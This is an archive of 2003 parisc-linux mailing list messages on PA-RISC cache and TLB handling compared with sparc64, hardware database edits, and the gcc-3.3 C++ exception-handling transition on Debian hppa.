Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  8 20:51:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8220D4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Mar 2003 20:51:56 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel7.hp.com (Postfix) with ESMTP
	id CE7971C00063; Sat,  8 Mar 2003 22:51:55 -0500 (EST)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_26305+JAGae58098)/8.9.3 SMKit7.01) id UAA17796;
	Sat, 8 Mar 2003 20:51:55 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17865

On Sat, Mar 08, 2003 at 03:00:23PM -0800, David S. Miller wrote:
> ...
> Since about Nov 2002 we have been working on better {copy,clear}_user_page()
> implementations quietly inside HP.  Unfortunately some, uhm, "issues" are
> taking a long time to resolve before the routines can be published.
> Once those issues are resolved, I think your trick with temporary
> TLB entries can get implemented.
>
The tlb trick for clear_user_page is already implemented. The code for
copy_user_page is there, but turned off due to an issue mentioned in my
last email. I believe the failure case was not a frequent path, and there
are ways of working around that problem.

The address that the copying is done through (e,g. the tlb trick) is
independent of the algorithm used to actually do the copying.

John


From - Thu Nov 08 21:27:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Sun, 9 Mar 2003 14:42:25 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20030309144225.O3865@parcelfarce.linux.theplanet.co.uk>
References: <20030308063043.GB27859@dsl2.external.hp.com> <20030307.222945.32673395.davem@redhat.com> <20030308231125.M3865@parcelfarce.linux.theplanet.co.uk> <20030308.150214.30103426.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622264 22651 80.91.229.3 (22 Nov 2014 02:11:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:04 +0000 (UTC)
Cc: willy@debian.org, grundler@dsl2.external.hp.com,
	jsm@udlkern.fc.hp.com, parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  9 07:42:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F25C482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Mar 2003 07:42:27 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18s20P-0005Jy-00; Sun, 09 Mar 2003 14:42:25 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030308.150214.30103426.davem@redhat.com>; from davem@redhat.com on Sat, Mar 08, 2003 at 03:02:14PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17866

On Sat, Mar 08, 2003 at 03:02:14PM -0800, David S. Miller wrote:
>    One other difference you forgot is that Sparc64 has writethrough caches
>    and PA has writeback caches.  This can make a difference.
>    
> It certainly could, but I think sparc64's schemes will work.
> Please document any differences you discover, preferably with
> text to go into Documentation/cachetlb.txt

Well.. one patch which affected us, but wouldn't affect a writethrough
cache is:

http://ftp.linux.org.uk/pub/linux/willy/patches/applied/shmem.diff

In that situation, the user has no view of that page currently so they
will read from memory.  With a writethrough cache it works without the
flush_dcache_page(), with writeback it does not.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HW Database
Date: Sun, 9 Mar 2003 14:45:42 +0000 (GMT)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0303091437560.765-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622264 22653 80.91.229.3 (22 Nov 2014 02:11:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  9 07:45:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id A67A24829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Mar 2003 07:45:44 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h29Ejhs07632
	for <parisc-linux@lists.parisc-linux.org>; Sun, 9 Mar 2003 14:45:43 GMT
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17867

Hi,

Sorry for posting this to the P-L mailing list, but there is no link
on the homepage who to contact directly.

Can somebody please change/correct the following entries in the
P-L HWDB:

- delete the reference of me (Max Grabert) as an owner of an "F10" (trashed)
- change the email address of my entries in "730" and "C240+" to
  deadbeef @gmx. net

Thanks alot in advance,
   Max



From - Thu Nov 08 21:27:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HW Database
Date: Sun, 9 Mar 2003 16:29:22 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <E74A34CB-5243-11D7-A259-0030656F07A2@esiee.fr>
References: <Pine.LNX.4.44.0303091437560.765-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622265 22655 80.91.229.3 (22 Nov 2014 02:11:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  9 08:29:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 03E5B4829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Mar 2003 08:29:24 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 7854149C1E; Sun,  9 Mar 2003 16:29:23 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id EDB6C49BDF; Sun,  9 Mar 2003 16:29:22 +0100 (CET)
In-Reply-To: <Pine.LNX.4.44.0303091437560.765-100000@sal.ucc.ie>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17868

Le dimanche, 9 mar 2003, =E0 15:45 Europe/Paris, M. Grabert a =E9crit :

> Hi,
>
> Sorry for posting this to the P-L mailing list, but there is no link
> on the homepage who to contact directly.
Yes there is: hwdb@parisc-linux.org (see hwdb.parisc-linux.org), which=20=

unfortunately
points to me.
>
> Can somebody please change/correct the following entries in the
> P-L HWDB:
>
> - delete the reference of me (Max Grabert) as an owner of an "F10"=20
> (trashed)
> - change the email address of my entries in "730" and "C240+" to
>   deadbeef @gmx. net
I'd like to state publicly here that such changes are really painful to=20=

commit,
so unless it's something really important, I would greatly enjoy to be=20=

spared
any requests concerning the hwdb (or at least until I decide to rewrite=20=

it completely) :}
FWIW, don't worry if there's delay in the execution of these requests :P
>
> Thanks alot in advance,
You're welcome.
>    Max


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/=




From - Thu Nov 08 21:27:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Sun, 9 Mar 2003 21:06:54 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <15979.40670.331645.441499__20554.3248601773$1416622265$gmane$org@gargle.gargle.HOWL>
References: <15968.40812.741982.606734@gargle.gargle.HOWL>
	<15969.1828.456001.122737@gargle.gargle.HOWL>
	<20030302045936.GS11363@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622265 22659 80.91.229.3 (22 Nov 2014 02:11:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:05 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  9 13:08:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76F444829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Mar 2003 13:08:13 -0700 (MST)
Original-Received: from bolero.cs.tu-berlin.de (daemon@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id VAA29827;
	Sun, 9 Mar 2003 21:06:54 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.11.6+Sun/8.9.3) id h29K6s521450;
	Sun, 9 Mar 2003 21:06:54 +0100 (MET)
In-Reply-To: <20030302045936.GS11363@tausq.org>
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17869

Randolph Chung writes:
> In reference to a message from Matthias Klose, dated Mar 01:
> > Matthias Klose writes:
> > > AFAIK the transition from 3.2 to 3.3 requires recompilation of C++
> > > code due to the changed exception handling (now DWARF2 based). As
> > > libstdc++ in 3.2 and 3.2 have the same soname, how to handle it?
> > > Currently 3.2 is in unstable only. Would you want to start the
> > > recompilation before 3.2 based binaries go to testing?
> > > 
> > > The packaging for 3.3 can be found in the Debian CVS.
> > 
> > You can get test packages from
> > 	http://ftp-master.debian.org/~doko/gcc-3.3/
> 
> well.... this is not looking good. after installing these in a freshly
> built sarge chroot, all c++ programs stop working (well, i've only tried
> two -- apt and fakeroot)

You can find updated packages at
	http://ftp-master.debian.org/~doko/gcc-3.3/hppa/
checked building bash (fakeroot) and upgrading an unstable chroot (apt).

> (btw, small packaging detail, but the libstdc++*-dev package above
> cannot be installed cleanly because it overwrites things in the current
> 3.2 package)

There is still one conflict for libstdc++5-dev (<= 1:3.2.3-0pre3), so
please install libstdc++5-dev (1:3.2.3-0pre4) first.

	Matthias


From - Thu Nov 08 21:27:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Sun, 9 Mar 2003 15:27:01 -0500 (EST)
Lines: 38
Approved: news@gmane.org
Message-ID: <200303092027.h29KR1pk026585__12425.9337121204$1416622265$gmane$org@hiauly1.hia.nrc.ca>
References: <15979.40670.331645.441499@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622265 22662 80.91.229.3 (22 Nov 2014 02:11:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:05 +0000 (UTC)
Cc: tausq@debian.org, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  9 13:27:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 526144829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Mar 2003 13:27:21 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8) with ESMTP id h29KR1sQ026586;
	Sun, 9 Mar 2003 15:27:02 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8/Submit) id h29KR1pk026585;
	Sun, 9 Mar 2003 15:27:01 -0500 (EST)
In-Reply-To: <15979.40670.331645.441499@gargle.gargle.HOWL> from "Matthias Klose" at Mar 9, 2003 09:06:54 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17870

> Randolph Chung writes:
> > In reference to a message from Matthias Klose, dated Mar 01:
> > > Matthias Klose writes:
> > > > AFAIK the transition from 3.2 to 3.3 requires recompilation of C++
> > > > code due to the changed exception handling (now DWARF2 based). As
> > > > libstdc++ in 3.2 and 3.2 have the same soname, how to handle it?
> > > > Currently 3.2 is in unstable only. Would you want to start the
> > > > recompilation before 3.2 based binaries go to testing?
> > > > 
> > > > The packaging for 3.3 can be found in the Debian CVS.
> > > 
> > > You can get test packages from
> > > 	http://ftp-master.debian.org/~doko/gcc-3.3/
> > 
> > well.... this is not looking good. after installing these in a freshly
> > built sarge chroot, all c++ programs stop working (well, i've only tried
> > two -- apt and fakeroot)
> 
> You can find updated packages at
> 	http://ftp-master.debian.org/~doko/gcc-3.3/hppa/
> checked building bash (fakeroot) and upgrading an unstable chroot (apt).
> 
> > (btw, small packaging detail, but the libstdc++*-dev package above
> > cannot be installed cleanly because it overwrites things in the current
> > 3.2 package)
> 
> There is still one conflict for libstdc++5-dev (<= 1:3.2.3-0pre3), so
> please install libstdc++5-dev (1:3.2.3-0pre4) first.

Did you configure 3.3 using "--enable-sjlj-exceptions=yes"?  That way
the 3.3 C++ library should be compatible with the previous 3.3 library.
The switch to dwarf2 can be delayed until the next debian release.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:27:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Sun, 9 Mar 2003 12:45:34 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20030309204534.GH11363__27110.2663166404$1416622266$gmane$org@tausq.org>
References: <15979.40670.331645.441499@gargle.gargle.HOWL> <200303092027.h29KR1pk026585@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622266 22664 80.91.229.3 (22 Nov 2014 02:11:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:06 +0000 (UTC)
Cc: Matthias Klose <doko@cs.tu-berlin.de>,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  9 13:50:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id B00284829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Mar 2003 13:50:32 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C90E9CD294; Sun,  9 Mar 2003 12:45:34 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200303092027.h29KR1pk026585@hiauly1.hia.nrc.ca>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17871

> Did you configure 3.3 using "--enable-sjlj-exceptions=yes"?  That way
> the 3.3 C++ library should be compatible with the previous 3.3 library.
> The switch to dwarf2 can be delayed until the next debian release.

yeah, i exchanged some mail with Matthias about this.

Anyway, I have the debs installed in a chroot now. Will start building
random stuff and see what happens :)

stay tuned,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: RFC: mmap patch
Date: Sun, 09 Mar 2003 13:29:49 -0800 (PST)
Lines: 33
Approved: news@gmane.org
Message-ID: <20030309.132949.19248296.davem@redhat.com>
References: <200303090342.UAA17294@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622266 22666 80.91.229.3 (22 Nov 2014 02:11:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsm@udlkern.fc.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  9 14:51:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3DF764829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Mar 2003 14:51:38 -0700 (MST)
Original-Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id NAA32439;
	Sun, 9 Mar 2003 13:29:49 -0800
In-Reply-To: <200303090342.UAA17294@udlkern.fc.hp.com>
X-FalunGong: Information control.
X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17872

   From: John Marvin <jsm@udlkern.fc.hp.com>
   Date: Sat, 8 Mar 2003 20:42:04 -0700 (MST)

   The problem is that since we have split I and D caches, the cache would
   need to be flushed anyway so that the instructions could be seen for
   execution.  So it didn't make any sense to set up the temporary
   translation and then flush it anyway; better to just do it through the
   kernel translation and flush.  I believe this isn't a problem on sparc64
   because of the write-through cache.
   
Handled on sparc64, when TIF_BLKCOMMIT flag is set, we use a more
expensive block store instruction in {copy,clear}_user_page() which
while more expensive does keep the instruction cache up to date.

More modent sparc64 chips don't even need this as the store stream
of the cpu is fully snooped by the instruction cache.

   > The PA-RISC mmap/write bug is something entirely different,
   > flush_dcache_page() just isn't doing what it is defined to
   > do :-)
   
   Ok.  But looking at the sparc64 implementation of flush_dcache_page I
   don't see any code to traverse user vma's.  Is there some other
   architecture specific trick that is being used to flush any user mappings
   that are mapped to the same physical address as the kernel address?
   
On sparc64 we can remove an arbitrary "physical" page from the D-cache
in one pass.  It does not matter what virtual address they use.

So it is handled, you just don't understand the hardware :-)

Because the chip has this interface, we need not walk the VMA list.


From - Thu Nov 08 21:27:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: RFC: mmap patch
Date: Sun, 09 Mar 2003 13:31:28 -0800 (PST)
Lines: 21
Approved: news@gmane.org
Message-ID: <20030309.133128.52483581.davem@redhat.com>
References: <200303090351.UAA17796@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622266 22668 80.91.229.3 (22 Nov 2014 02:11:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsm@udlkern.fc.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  9 14:53:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49E014829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Mar 2003 14:53:12 -0700 (MST)
Original-Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id NAA32444;
	Sun, 9 Mar 2003 13:31:29 -0800
